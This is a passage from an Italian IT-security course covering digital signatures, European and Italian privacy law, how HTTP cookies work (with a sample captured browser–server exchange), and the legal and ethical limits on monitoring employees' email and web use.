pi sistemi che consentono l'identificazione univoca del
titolare, uno dei quali la firma digitale a chiavi asim-
metriche. Di fatto, per, la firma digitale l'unico tipo di
firma elettronica avanzata oggi noto e utilizzato, per cui
i due concetti tendono a coincidere.
L'articolo 21 del DL 82/2005 stabilisce, con un rimando
al Codice Civile, che la firma digitale (o altra firma elettro-
nica qualificata) probatoria salvo querela per falso, equi-
parando il documento informatico sottoscritto con firma
digitale alla scrittura privata con firma autografa. La titola-
5.8.2 Tecnologie a
tutela della privacy
5.8.2.1: Conoscere
l'equilibrio fra
esigenze di
autenticazione e
diritto alla privacy
rit della firma digitale garantita dagli enti certificatori ac-
creditati presso il CNIPA (Centro Nazionale per l'Informati-
ca nelle Pubbliche Amministrazioni, ex AIPA), che tengono
registri delle chiavi pubbliche presso i quali si pu verifi-
care la titolarit del firmatario di un documento elettroni-
co (verificando la validit del certificato digitale del titola-
re e dei certificati delle Certification Authority interessate).
I certificatori hanno requisiti di capitale sociale non infe-
riore a quello richiesto per svolgere attivit bancaria, quin-
di non sono individui (come i notai), bens grandi enti o so-
ciet. Una chiave privata viene fornita a pagamento e ha
una scadenza, il che potrebbe essere opinabile, visto che la
firma (autografa o digitale) un mezzo legale per l'eserci-
zio dei diritti naturali della persona.
Tecnologie a tutela
della privacy
Nel corso degli anni, le aziende si sono trovate costret-
te, anche a termini di legge, ad adottare sistemi di sicurez-
za basati su tecnologie sempre pi sofisticate, rese neces-
sarie dall'evoluzione e diffusione dei mezzi di attacco e dal
crescente danno causato da tali attacchi a organizzazioni
sempre pi dipendenti dai sistemi e dalle reti informatiche
per il proprio funzionamento.
Il trattamento di dati personali regolamentato da nu-
merose leggi, tra cui la Direttiva 95/46/CE del Parlamento
Europeo e del Consiglio dell'Unione Europea (relativa alla
tutela delle persone fisiche con riguardo al trattamento dei
dati personali, nonch alla libera circolazione di tali dati) e
DL 196/2003 (codice in materia di protezione dei dati per-
sonali).
La direttiva europea stabilisce che:
1. Gli Stati membri garantiscono, conformemente alle di-
sposizioni della direttiva, la tutela dei diritti e delle li-
bert fondamentali delle persone fisiche e particolar-
mente del diritto alla vita privata, con riguardo al tratta-
mento dei dati personali.
2. Gli Stati membri non possono restringere o vietare la li-
bera circolazione dei dati personali tra Stati membri, per
motivi connessi alla tutela garantita a norma del para-
grafo 1.
Il codice italiano della privacy, molto pi dettagliato, ri-
marca il diritto di chiunque alla protezione dei dati perso-
nali che lo riguardano e disciplina le modalit di tratta-
mento dei dati, specificando anche i requisiti di sicurezza
dei dati e dei sistemi informatici. Include anche una sezio-
ne sulle sanzioni, che per i casi pi gravi possono arrivare
a 90.000 euro di sanzione amministrativa, reclusione fino a
tre anni (nei casi di responsabilit penale) e pagamento dei
danni.
Entrambe le leggi stabiliscono che la custodia e il trat-
tamento dei dati personali sono legati ai progressi tecnici,
alla natura dei dati e alle caratteristiche del trattamento, in
modo che adeguate misure preventive di sicurezza riduca-
no al minimo i rischi in termini di riservatezza, integrit e
disponibilit.
Gli articoli di legge includono due concetti che meritano
attenzione nell'ambito della sicurezza informatica: l'ido-
neit e l'evoluzione delle misure di sicurezza.
L'idoneit un criterio che non descrive una particola-
re soluzione se non attraverso i risultati ottenuti. In caso di
contestazione, chi responsabile delle scelte e dell'attua-
zione delle politiche di sicurezza dovr dimostrare di ave-
re adottato le misure necessarie per evitare la perdita di si-
curezza che si verificata e che quest'ultima attribuibile
a eventi fortuiti o di causa maggiore.
L'evoluzione delle misure di sicurezza inevitabile per
stare al passo (idealmente per anticipare) delle modalit e
degli strumenti di attacco. L'aggiornamento delle politiche
di sicurezza e delle contromisure tecnologiche indispen-
sabile per mantenere nel tempo l'idoneit delle soluzioni
messe in campo ed evitare quindi azioni di responsabilit
civile intraprese dai soggetti che si dichiarano danneggia-
ti.
Lesigenza di ottenere gli obiettivi di sicurezza in termi-
ni e costi ben definiti ha favorito l'outsourcing della sicu-
rezza attraverso contratti che impegnano il fornitore a ge-
stire le problematiche di sicurezza in nome e per conto del
committente. Tali contratti garantiscono il rispetto di spe-
cifici SLA (Service Level Agreement) o di standard interna-
zionali come il BS 7799/ISO 17799 (vedi la lezione 1) che, se
adottati, producono il livello di idoneit del livello di sicu-
rezza richiesto dai legislatori.
L'Allegato B del Codice della privacy italiano (Discipli-
nare tecnico in materia di misure minime di sicurezza) de-
finisce le misure minime di sicurezza che devono essere
adottate dalle organizzazioni che trattano dati personali
attraverso strumenti elettronici o in altro modo. Si deve
tuttavia osservare che l'osservanza delle misure minime
di legge elencate nell'Allegato B (riportate nel riquadro)
evita il rischio di sanzioni di tipo penale, ma solo l'ado-
zione di misure di livello superiore - idonee al consegui-
mento degli obiettivi - pu tenere l'azienda al riparo da
azioni di responsabilit civile. L'Allegato B prescrive l'uso
di credenziali di autenticazione per accedere al sistema,
specifica norme per la scelta e l'amministrazione delle
password, prevede sistemi di autorizzazione per limitare
gli accessi alle informazioni minime necessarie e include
altre misure di sicurezza (aggiornamenti software, backup
periodici, sistemi anti-intrusione, programmi anti-malwa-
re). Ulteriori misure sono richieste per il trattamento e la
custodia di dati sensibili o giudiziari Il tutto deve essere
descritto nel documento programmatico; sia il documen-
to sia le misure di sicurezza (tecniche e amministrative)
devono essere aggiornati con cadenza annuale.
Nell'allegato B (Vedi pi avanti) il legislatore, conscio
che la sicurezza non un prodotto che si acquista, ma un
costante processo che coinvolge diverse figure aziendali,
ha stabilito che il titolare e il responsabile del trattamen-
to dei dati personali devono redigere, almeno una volta
l'anno, un documento programmatico sulla sicurezza dei
dati particolarmente dettagliato. I contenuti richiesti
comprendono i dati trattati, il personale responsabile, l'a-
nalisi dei rischi, le contromisure fisiche, procedurali e tec-
niche da adottare, le misure di disaster recovery adotta-
te, le azioni programmate di formazione del personale, i
criteri per garantire i criteri minimi di sicurezza del trat-
tamento dati in caso di outsourcing, i criteri da adottare
per la cifratura o altra forma di protezione di dati sensibili.
interessante notare che la legge recepisce l'impor-
tanza dell'analisi del rischio (vedi lezione 1), che include
il censimento dei beni da proteggere, la valutazione delle
minacce e dei danni potenziali e la definizione delle con-
tromisure. Anche le attivit di formazione e gli interventi
organizzativi lasciano trasparire la necessit di coinvol-
gere nelle problematiche di sicurezza tutti i soggetti che
condividono la responsabilit della custodia e del tratta-
mento dei dati.
Anche in caso di outsourcing, il titolare conserva la re-
sponsabilit finale del trattamento dei dati e per contrat-
to dovr ricevere dal fornitore un documento che attesti
la conformit con le disposizioni dell'allegato B. La man-
cata adozione delle misure minime di sicurezza sanzio-
nata penalmente dal Codice della privacy; l'articolo 169
prevede l'arresto sino a due anni o l'ammenda da 10.000 a
50.000 euro per chi soggetto al codice e omette di adot-
tare le misure minime prescritte.
L'insieme delle sanzioni, suddivise tra violazioni am-
ministrative e illeciti penali, descritto negli articoli 161-
172 del codice.
5.8.2.2: Conoscere
le tecnologie per
l'incremento della
privacy (PET)
Cookies e loro gestione
I cookies (biscottini), detti anche HTTP cookies, so-
no pacchetti d'informazioni inviati da un web server a
un browser e restituiti dal browser ogni volta che acce-
de allo stesso server nella stessa sessione e talvolta an-
che in sessioni successive. I cookies sono registrati co-
me piccoli file di testo sul computer dell'utente e sono
utilizzati per autenticazione, per tenere traccia della
sessione e per conservare informazioni specifiche del-
l'utente.
Quando fu progettato il protocollo HTTP (HyperText
Transfer Protocol), responsabile del trasferimento di
informazioni sul web, l'accento fu messo sulla semplicit
e sulle prestazioni; di conseguenza, ogni pagina richie-
sta e fornita individualmente, senza mantenere uno stato
di sessione che leghi tra loro una serie di richieste e ri-
sposte. Tale comportamento era adeguato per consulta-
re informazioni pagina per pagina e saltare liberamente
da un link all'altro senza lasciare traccia delle operazioni
precedenti. Quando per nacquero le prime applicazioni
di e-commerce, fu evidente la necessit di tenere traccia
della transazione in corso, che in generale richiedeva l'a-
pertura di pi pagine.
La soluzione escogitata da Netscape fu l'invenzione dei
cookies, supportati dal loro browser dal 1994 e integrati
in Internet Explorer nel 1995.
La prima applicazione dei cookies stata la realizza-
zione di un carrello virtuale per i siti di e-commerce, do-
ve gli acquirenti mettono (e tolgono) gli articoli da ac-
quistare mentre esplorarano le pagine del sito. Il carrel-
lo degli acquisti tuttora uno degli utilizzi principali dei
cookies, ma ce n' altri, come l'autenticazione degli uten-
ti (login con nome utente e password, anche in connes-
sione sicura), la personalizzazione della navigazione (ri-
conoscendo le impostazioni dell'utente, per esempio il
numero di risposte per pagina in un motore di ricerca) e
il tracking della navigazione nei siti (registrando un
cookie ogni volta che l'utente visita una pagina per la pri-
ma volta).
Il trasferimento delle informazioni del cookie avviene
quando il web server risponde alla richiesta della pagina
web da parte del client. Se il server utilizza i cookies, la
risposta include, nell'intestazione HTTP, una o pi ri-
chieste di creazione di cookies, attraverso il comando
Set-Cookie. Il browser salva le informazioni dei cookies su
hard disk in un'apposita directory. Per esempio, Win-
dows XP conserva i cookies in \Documents and Set-
tings\<nome utente>\Cookies. Ogni cookie un file di te-
sto non pi lungo di 4 KB e un browser ne pu conserva-
re almeno 300 e accetta almeno 20 cookies per dominio.
Un cookie cancellato alla chiusura del browser o alla da-
ta di scadenza, se specificata.
Ogni volta che un browser si connette a un sito web,
verifica se tra i propri cookies ce n' qualcuno associa-
to al dominio del sito e, in tal caso, li allega alla richiesta
HTTP. Il web server utilizza i cookies ricevuti per rico-
noscere l'utente; per esempio, nel caso di una sessione
di acquisto on-line o altra transazione economica (come
online banking o stipula di un contratto di assicurazione
auto) i cookies tengono il legame tra le pagine della ses-
sione finch tutti i dati sono stati raccolti e la transazio-
ne viene confermata (o viene annullata durante il tragit-
to).
Quello che segue un esempio di scambio di messag-
gi HTTP tra l'utente (tramite browser IE) e il web server
di un sito di e-commerce. Il traffico stato catturato me-
diante l'utility HTTPLook (www.httpsniffer.com).
Il primo messaggio (in blu) quello inviato dal client
(il browser) al server quando l'utente inserisce l'URL del
sito per aprirne la home page. Dato che la prima volta
che l'utente visita il sito, non ha sul computer cookies as-
sociati al relativo dominio.
Il server risponde inviando al browser un messaggio
HTTP (in rosso) contenente, tra l'altro, due richieste di
creazione di cookies (Set-Cookie); l'intestazione HTTP
seguita dalla pagina HTML richiesta dal browser.
Il terzo messaggio (in blu) la successiva richiesta dal
browser al web server; il browser trova nella relativa di-
rectory i due cookies relativi al dominio del web server e
li allega alla richiesta, in modo che il server riconosca la
sessione in corso e prosegua nel dialogo.
L'apertura della home page di questo sito comprende
un centinaio di messaggi GET (richieste) HTTP inviati dal
browser e le relative risposte del web server. La maggior
parte delle richieste associata alla sessione in corso e
quindi include i relativi cookies.
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, */*
Accept-Language: it
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.1; SV1; .NET CLR 1.0.3705)
Host: www.eprice.it
Connection: Keep-Alive
HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Wed, 15 Mar 2006 17:31:52 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=
3i4yiqjnepogbnihbbnopq35; path=/
Set-Cookie: basket=SessionID=41f889cd-a41b-42ca-
b2f4-c8a0e491a345&ID=1CCCAF5E-AC3A-48FD-9EDB-
45B6DE8B218C; expires=Fri, 14-Apr-2006 16:31:
51 GMT; path=/
Content-Encoding: gzip
Vary: Accept-Encoding
Transfer-Encoding: chunked
<html>
..
</html>
5.8.2.3 Conoscere i
cookie e le relative
modalit di gestione
HTTPLook un esempio
di utility che cattura il
traffico HTTP
GET /eprice0002.css HTTP/1.1
Accept: */*
Referer: http://www.eprice.it/
Accept-Language: it
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR 1.0.3705)
Host: www.eprice.it
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=3i4yiqjnepogbnihbbnopq35;
basket=SessionID=41f889cd-a41b-42ca-b2f4-
c8a0e491a345&ID=1CCCAF5E-AC3A-48FD-9EDB-
45B6DE8B218C
L'introduzione dei cookies non fu di dominio pubblico
finch il Financial Times non pubblic un articolo nel feb-
braio 1996 attirando l'attenzione dei media per le potenziali
implicazioni in tema di privacy. Da l in poi anche i legisla-
tori hanno pi volte deliberato in proposito. Le specifiche
per i cookies sono state pubblicate nelle RFC 2109 e 2965.
A seguito delle notizie dei media, che hanno riportato i ca-
si di uso illegale dei cookies per raccogliere informazioni
personali, molti si sono fatti la falsa idea che i cookies sia-
no una specie di virus o di spyware. E' importante tenere
presente che i cookies sono file di testo, non programmi,
quindi non possono agire sul sistema. Inoltre, nei moderni
sistemi operativi dotati di account personali (resi obbliga-
tori dal codice della privacy), un browser pu accedere so-
lo ai cookies dell'utente che li possiede. Inoltre, un web ser-
ver pu ricevere solo le informazioni relative ai cookies del
proprio dominio (quelli che ha creato), non pu attingere
alle informazioni registrate nei cookies relativi ad altri do-
mini.
Un rischio associato all'uso dei cookies deriva dal fatto
che una pagina web pu contenere immagini e altri com-
ponenti memorizzati su altri server in altri domini. I
cookies creati durante l'accesso a tali componenti si chia-
mano third-party cookies (cookies di terze parti). Le azien-
de di marketing e pubblicit utilizzano questo genere di
cookies per tenere traccia della navigazione di un utente da
un sito all'altro, in modo da inviargli pubblicit mirata ba-
sata sui propri interessi e abitudini. La possibilit di co-
struire un profilo degli utenti stata considerata da certi
gruppi una minaccia alla privacy, specialmente se il
tracking delle informazioni avviene su pi domini attra-
verso cookies di terze parti. La Direttiva 2002/58/EC del
Parlamento europeo e del Consiglio dell'Unione europea
del 12 luglio 2002 sul trattamento dei dati personali e la pro-
tezione della privacy nel settore delle comunicazioni elet-
troniche include regole sull'uso dei cookies. In particolare,
l'articolo 5, paragrafo 3 stabilisce che memorizzare dati
(come i cookies) nel computer di un utente permesso so-
lo se: 1) l'utente informato sull'utilizzo di tali dati e 2) l'u-
tente ha la possibilit di rifiutare la memorizzazione. L'ar-
ticolo dichiara anche i casi in cui la memorizzazione dei
cookies necessaria per motivi tecnici e sono esonerati
dalla regola. Tale norma non ha avuto applicazione unifor-
me nell'Unione Europea.
L'utente ha la possibilit di modificare le impostazioni di
default del browser in modo da abbassare o innalzare il li-
vello di privacy associato ai cookies. In Windows XP il com-
portamento di default il blocco dei cookies di terze parti
che possono costituire un rischio per la privacy dell'uten-
te. In Internet Explorer > Strumenti > Opzioni Internet > Pri-
vacy, il cursore del livello di privacy per default su Medio,
ma pu essere regolato in una di sei posizioni, da Accetta
tutti i cookies a Blocca tutti i cookies.
La sezione Generale della finestra Opzioni Internet in-
clude un bottone per cancellare tutti i cookies dell'utente
corrente in Internet Explorer.
Anche le applicazio-
ni di sicurezza indivi-
duale (come antivirus,
firewall personali e an-
ti-malware) installate
sul computer possono
includere un ulteriore
controllo dei cookies a
protezione della pri-
vacy.
L'utente che innalzi
il livello di privacy
meno soggetto a
cookies "invadenti"
che tengono traccia
dei siti visitati, ma il
rovescio della medaglia rappresentato da possibili in-
convenienti nell'uso di siti di e-commerce; uno dei sintomi
di eccessive restrizioni sui cookies ad esempio l'impos-
sibilit di depositare pi articoli nel carrello degli acquisti.
In altri casi, viene rifiutato l'accesso alla pagina con un mes-
saggio che richiede l'attivazione dei cookies per poter pro-
cedere.
Anche in Linux i browser permettono di modificare le
impostazioni di privacy connesse ai cookies. Ad esempio,
Due cookies creati nella
directory Cookies di
Windows
Impostazioni della privacy
connessa ai cookies in
Internet Explorer
Impostazione della privacy
in ZoneAlarm Security
Suite
Gestione dei cookies in
Mozilla Firefox (Fedora
Core Linux)
in Mozilla Firefox,
aprendo Edit > Prefe-
rences > Privacy si
pu modificare la
durata dei cookies,
vedere l'elenco dei
cookies memorizzati
sul computer (con il
contenuto in chia-
ro), cancellare deter-
minati cookies (an-
che tutti) e rifiutare
futuri cookies da
particolari siti.
Aspetti etici
(monitoraggio, sorveglianza)
Gli ambienti di lavoro utilizzano in misura crescente tec-
nologie informatiche e di comunicazione che pongono no-
tevoli problemi di natura etica e giuridica. Questi riguar-
dano, da un lato, l'utilizzo corretto delle risorse da parte del
personale e, per l'azienda, le attivit di controllo e sorve-
glianza del personale.
Prima di entrare nel merito, utile prendere atto di un
comunicato stampa del Garante per la protezione dei dati
personali, ampiamente riportato dalla stampa nazionale.
Illecito spiare il contenuto della navigazione
in Internet del dipendente
Il Garante: "L'uso indebito del computer pu essere
contestato senza indagare sui siti visitati"
Il datore di lavoro non pu monitorare la naviga-
zione in Internet del dipendente. Il Garante privacy ha
vietato a una societ l'uso dei dati relativi alla navi-
gazione in Internet di un lavoratore che, pur non es-
sendo autorizzato, si era connesso alla rete da un com-
puter aziendale. Il datore di lavoro, dopo aver sotto-
posto a esame i dati del computer, aveva accusato il
dipendente di aver consultato siti a contenuto religio-
so, politico e pornografico, fornendone l'elenco detta-
gliato.
Per contestare l'indebito utilizzo di beni aziendali,
afferma il Garante nel suo provvedimento (www.ga-
ranteprivacy.it/garante/doc.jsp?ID=1229854), sareb-
be stato in questo caso sufficiente verificare gli avve-
nuti accessi a Internet e i tempi di connessione senza
indagare sui contenuti dei siti. Insomma, altri tipi di
controlli sarebbero stati proporzionati rispetto alla ve-
rifica del comportamento del dipendente.
"Non ammesso spiare l'uso dei computer e la na-
vigazione in rete da parte dei lavoratori", commenta
Mauro Paissan, componente del Garante e relatore del
provvedimento. "Sono in gioco la libert e la segre-
tezza delle comunicazioni e le garanzie previste dal-
lo Statuto dei lavoratori. Occorre inoltre tener presen-
te che il semplice rilevamento dei siti visitati pu ri-
velare dati delicatissimi della persona: convinzioni re-
ligiose, opinioni politiche, appartenenza a partiti, sin-
dacati o associazioni, stato di salute, indicazioni sul-
la vita sessuale".
Nel caso sottoposto al giudizio del Garante, dopo
una prima istanza, senza risposta, rivolta alla societ,
il lavoratore aveva presentato ricorso al Garante con-
testando la legittimit dell'operato del datore di lavo-
ro.
La societ aveva allegato alla contestazione disci-
plinare notificata al lavoratore, in seguito licenziato,
numerose pagine dei file temporanei e dei cookies ori-
ginati sul suo computer dalla navigazione in rete, av-
venuta durante sessioni di lavoro avviate con la pas-
sword del dipendente. Da queste pagine, copiate di-
rettamente dalla directory intestata al lavoratore,
emergevano anche diverse informazioni particolar-
mente delicate che la societ non poteva raccogliere
senza aver prima informato il lavoratore. Sebbene in-
fatti i dati personali siano stati raccolti nel corso di con-
trolli informatici volti a verificare l'esistenza di un
comportamento illecito, le informazioni di natura sen-
sibile, in grado di rivelare ad esempio convinzioni re-
ligiose e opinioni sindacali o politiche, potevano es-
sere trattate dal datore di lavoro senza consenso solo
se indispensabili per far valere o difendere un diritto in
sede giudiziaria. Indispensabilit che non emersa da-
gli elementi acquisti nel procedimento.
Illecito anche il trattamento dei dati relativi allo sta-
to di salute e alla vita sessuale. Secondo il Codice del-
la privacy infatti tale tipo di trattamento pu essere ef-
fettuato senza consenso solo se necessario per difen-
dere in giudizio un diritto della personalit o un altro
diritto fondamentale. La societ in questo caso inten-
deva invece far valere diritti legati allo svolgimento del
rapporto di lavoro.
Roma, 14 febbraio 2006
Un'altra indicazione viene dai sondaggi sull'uso di Inter-
net negli ambienti di lavoro, indicato da pi parti come la
maggiore fonte di spreco di ore di lavoro. Qualche anno fa
IDC appur che il 30-40% delle ore di navigazione Internet
nelle aziende americane non era per motivi di lavoro e che
il 70% della banda aziendale era utilizzata a scopo non
aziendale. Nel 2005 ha avuto vasta eco sui media (ad esem-
pio www.sfgate.com/cgi-bin/article.cgi?f=/g/a/2005/07/11/
wastingtime.TMP) un'indagine di America Online e Sa-
lary.com su 10.000 lavoratori americani, che ha rilevato che
il lavoratore medio spreca ogni giorno due ore di lavoro, di
cui la quota principale (44,7%) data dalla navigazione In-
ternet per scopi personali. Una ricerca di Benchmark Re-
search commissionata nel 2005 da AMD (uno dei maggiori
produttori di microprocessori), sull'utilizzo di Internet in
Europa, ha appurato che gli utenti italiani sono al primo po-
sto nell'uso del PC per scambiare file musicali in rete.
Questo piccolo campione di informazioni, facilmente
ampliabile attingendo a Internet, indica che ci sono pro-
blematiche legate all'utilizzo dei computer e alle politiche
di sicurezza aziendali. Infatti, l'uso delle risorse informati-
che e di Internet non coinvolge solo aspetti organizzativi ed
eventualmente disciplinari; sono soprattutto i comporta-
menti impropri o illeciti (uso del computer e della rete per
scopi extra-lavoro) che causano le maggiori violazioni del-
le norme di sicurezza a cui l'azienda (a partire dai dirigen-
ti) vincolata (vedi codice della privacy). Quando un di-
pendente installa e utilizza un software di scambio file peer-
to-peer (MP3 eccetera) non si limita a sprecare il proprio
tempo e le risorse aziendali, ma pu creare gravi falle di si-
curezza nel sistema e nella rete, ad esempio per effetto di
cavalli di Troia (mimetizzati da programmi utili o anti-
spyware) di nuova generazione molto difficili da indivi-
duare ed eliminare. Inoltre le leggi sulla tutela del diritto
d'autore, recentemente irrigidite, costituiscono un ulterio-
re rischio per l'azienda (in pratica i dirigenti) che non adot-
ta misure per impedire il download e la diffusione di mate-
riale (musica, film, software, eccetera) protetto da copyri-
ght.
Le problematiche derivanti dalle azioni del personale
non sono puntualmente disciplinate n dal legislatore eu-
ropeo n da quello italiano. Nell'ordinamento italiano, la
principale norma di riferimento l'art. 4 dello Statuto dei
Lavoratori (Legge 300, 20 maggio 1970), sotto riportato.
Dalla Legge 20/5/1970, n. 300 (Statuto dei lavoratori)
ART. 4 - Impianti audiovisivi.
Visualizzazione dei
cookies in Mozilla Firefox
5.8.2.4: Essere
consapevoli delle
implicazioni etiche
(controlli nel lavoro,
sorveglianza)
vietato l'uso di impianti audiovisivi e di altre ap-
parecchiature per finalit di controllo a distanza del-
l'attivit dei lavoratori.
Gli impianti e le apparecchiature di controllo che
siano richiesti da esigenze organizzative e produttive
ovvero dalla sicurezza del lavoro, ma dai quali deri-
vi anche la possibilit di controllo a distanza dell'at-
tivit dei lavoratori, possono essere installati soltanto
previo accordo con le rappresentanze sindacali azien-
dali, oppure, in mancanza di queste, con la commis-
sione interna. In difetto di accordo, su istanza del da-
tore di lavoro, provvede l'Ispettorato del lavoro, det-
tando, ove occorra, le modalit per l'uso di tali im-
pianti.
Per gli impianti e le apparecchiature esistenti, che
rispondano alle caratteristiche di cui al secondo com-
ma del presente articolo, in mancanza di accordo con
le rappresentanze sindacali aziendali o con la com-
missione interna, l'Ispettorato del lavoro provvede en-
tro un anno dall'entrata in vigore della presente legge,
dettando all'occorrenza le prescrizioni per l'adegua-
mento e le modalit di uso degli impianti suddetti.
Contro i provvedimenti dell'Ispettorato del lavoro,
di cui ai precedenti secondo e terzo comma, il datore
di lavoro, le rappresentanze sindacali aziendali o, in
mancanza di queste, la commissione interna, oppure
i sindacati dei lavoratori di cui al successivo art. 19
possono ricorrere, entro 30 giorni dalla comunicazio-
ne del provvedimento, al Ministro per il lavoro e la
previdenza sociale.
Al divieto per l'azienda di esercitare un controllo occul-
to dei lavoratori, si contrappongono tuttavia il dovere di di-
ligenza e di fedelt del lavoratore e il potere disciplinare
del datore di lavoro. Ai sensi dell'art. 2104 del Codice Civi-
le, "il prestatore di lavoro deve usare la diligenza richiesta
dalla natura della prestazione dovuta e dall'interesse del-
l'impresa". Deve inoltre osservare le disposizioni per l'e-
secuzione e la disciplina del lavoro impartite dall'impren-
ditore e dai collaboratori di questo dai quali dipende ge-
rarchicamente. Ai sensi dell'art. 2106 del CC, l'inosservan-
za delle disposizioni di cui all'art. 2104 pu dare luogo al-
l'applicazione di sanzioni disciplinari proporzionate alla
gravit dell'infrazione.
L'articolo 7 dello Statuto dei Lavoratori (Sanzioni disci-
plinari) prevede che le sanzioni siano portate a conoscen-
za dei lavoratori e che debbano essere applicate in base a
quanto stabilito dai contratti collettivi nazionali di lavoro.
A livello europeo, il Gruppo di lavoro in tema di prote-
zione degli individui per quanto riguarda il trattamento dei
dati personali presso la Commissione Europea il 29/5/2002
ha adottato un documento di lavoro (www.privacy.it/gru-
pridoc20020529.html) riguardante la vigilanza sulle comu-
nicazioni elettroniche sul posto di lavoro, in particolare ri-
guardo l'uso della posta elettronica e di Internet. Il sud-
detto gruppo di lavoro, costituito in applicazione della di-
rettiva 95/46/CE del 24 ottobre 1995 del Parlamento Euro-
peo e del Consiglio dell'Unione Europea, ha fissato una se-
rie di principi assai rilevanti che devono essere applicati
anche in Italia laddove si esercitino controlli sull'uso degli
strumenti informatici e telematici che possano determi-
nare il controllo sulle attivit dei dipendenti.
Principio di necessit
Prima di attivare azioni di monitoraggio, si dovrebbe va-
lutare se non si possano adottare altre forme di controllo
meno invasive per il rispetto della dignit dei lavoratori. In
ogni caso le attivit di controllo devono essere ecceziona-
li; possono essere intraprese solo se si sospetta che siano
in atto attivit criminose da parte del lavoratore, per esi-
genze legate alla sicurezza del sistema informatico azien-
dale o per garantire la continuit dell'attivit dell'impresa.
Principio di finalit
La raccolta di dati riguardanti le azioni del lavoratore
dovrebbe avvenire per uno scopo determinato, esplicito e
legittimo, evitando di utilizzare tali dati in un secondo
momento in modo incompatibile con le finalit dichiarate.
Secondo il gruppo di lavoro, ci significa, ad esempio, che
se la raccolta e trattamento dei dati sono giustificati per ra-
gioni riguardanti la sicurezza del sistema, quei dati non po-
tranno in seguito essere elaborati per un altro scopo, come
il controllo del comportamento del dipendente.
Principio di trasparenza
Il datore di lavoro deve dichiarare apertamente le sue
attivit e informare preventivamente i lavoratori riguardo
i controlli messi in atto. In particolare, deve informare i la-
voratori circa l'adozione di una policy aziendale per l'uso
della posta elettronica e di Internet, nella quale siano de-
scritte le modalit in cui i dipendenti possono utilizzare le
infrastrutture di propriet dell'impresa per comunicazioni
personali o private. Inoltre dovranno essere descritti: i mo-
tivi e le finalit delle attivit di vigilanza, i provvedimenti
presi; la procedure adottate dal datore di lavoro per ga-
rantire il rispetto delle regole, indicando le modalit di
contestazione delle infrazioni e della possibilit di difesa
da parte dei lavoratori.
Secondo il gruppo di lavoro, il datore di lavoro dovreb-
be informare immediatamente il lavoratore dell'infrazione,
anche attraverso l'uso di avvisi sullo schermo del compu-
ter.
Inoltre, il gruppo di lavoro consiglia lo scambio di infor-
mazioni ed eventuali accordi con la rappresentanza sin-
dacale prima dell'adozione definitiva delle policy all'inter-
no dell'azienda.
Principio di legittimit
La raccolta e il trattamento dei dati riguardanti il lavo-
ratore possono essere consentiti purch abbiano il fine di
perseguire interessi legittimi da parte del datore di lavoro
e non violino i diritti fondamentali dei lavoratori. Secondo
il gruppo di lavoro, la necessit di tutelare l'azienda da se-
ri pericoli, per esempio impedendo la trasmissione di infor-
mazioni confidenziali a un concorrente, pu costituire ta-
le interesse legittimo.
Principio di proporzionalit
I dati personali raccolti nell'ambito delle attivit di con-
trollo e vigilanza devono essere pertinenti e commisurati
al raggiungimento dello scopo dichiarato. Ci implica che
la policy aziendale sia definita tenendo conto dell'analisi
del rischio e delle contromisure pianificate.
Secondo il gruppo di lavoro, il principio di proporzio-
nalit esclude il controllo a tappeto dell'uso della posta
elettronica e di Internet da parte del personale, a meno che
ci si renda necessario per garantire la sicurezza del si-
stema. Il datore di lavoro dovr inoltre valutare se non sia
possibile ricorrere a modalit meno intrusive.
Il controllo della posta elettronica dovrebbe limitarsi ai
dati riguardanti i flussi dei messaggi in ingresso e in uscita
e al controllo degli allegati e non dovrebbe riguardare il
contenuto dei messaggi. Qualora fosse indispensabile ac-
cedere ai contenuti, si dovr tenere conto della sfera pri-
vata dei lavoratori e dei loro interlocutori. A tale proposi-
to il gruppo di lavoro consiglia di inserire nei messaggi di-
retti all'esterno dell'azienda un avviso sull'esistenza dei si-
stemi di controllo.
Il controllo dell'uso di Internet dovrebbe consistere nel-
l'adozione di filtri che blocchino l'accesso a determinati si-
ti o categorie di siti web. Il servizio di web filtering pu es-
sere fornito dal firewall o pu essere un servizio esterno,
basato su categorie o su profili personalizzati. Anche in
questo caso il gruppo di lavoro ritiene che un eventuale ac-
cordo con le rappresentanze sindacali possa portare all'a-
dozione di una policy che tenga conto in modo equilibrato
degli interessi contrapposti.
Principio dell'accuratezza e conservazione dei dati
I dati personali archiviati dal datore di lavoro in relazio-
ne all'uso della posta elettronica aziendale e di Internet de-
vono essere accurati e aggiornati e non essere conservati
pi a lungo del periodo necessario
Principio della sicurezza
Il datore di lavoro deve adottare le misure di sicurezza
logiche e organizzative per garantire che i dati personali
siano conservati in modo sicuro e protetto contro intru-
sioni dall'esterno. Inoltre il datore di lavoro ha il diritto di
proteggere il suo sistema informatico dai virus informatici
(intendendo l'intera gamma di malware) attraverso la scan-
sione automatica dei messaggi di posta elettronica e del
traffico Internet.
Si pu osservare che il Codice della privacy (DL
196/2003) ha reso obbligatorie misure di sicurezza che po-
tevano apparire facoltative, come la protezione fisica, pro-
cedurale/organizzativa e tecnica e, tra le misure tecniche,
quelle idonee a impedire intrusioni (anche dall'interno), in-
fezioni, perdite di dati e via dicendo.
Utilizzo della posta elettronica
Il gruppo di lavoro ritiene che per la posta elettronica e
per quella tradizionale non ci debbano essere differenze di
trattamento; di conseguenza, la posta elettronica deve frui-
re della stessa tutela dei diritti fondamentali di cui gode la
posta cartacea. In particolare, il datore di lavoro deve evi-
tare, per quanto possibile, intrusioni nella sfera privata del
lavoratore.
Perci il datore di lavoro deve informare in modo chia-
ro il lavoratore in relazione all'uso dell'indirizzo e-mail
aziendale per scopi personali e sull'uso di web mail (e-mail
attraverso il browser Internet anzich attraverso un pro-
gramma di posta) e di indirizzi di posta privati per le loro
comunicazioni personali.
Il gruppo di lavoro a favore della soluzione web mail,
che permette di separare i messaggi di lavoro da quelli pri-
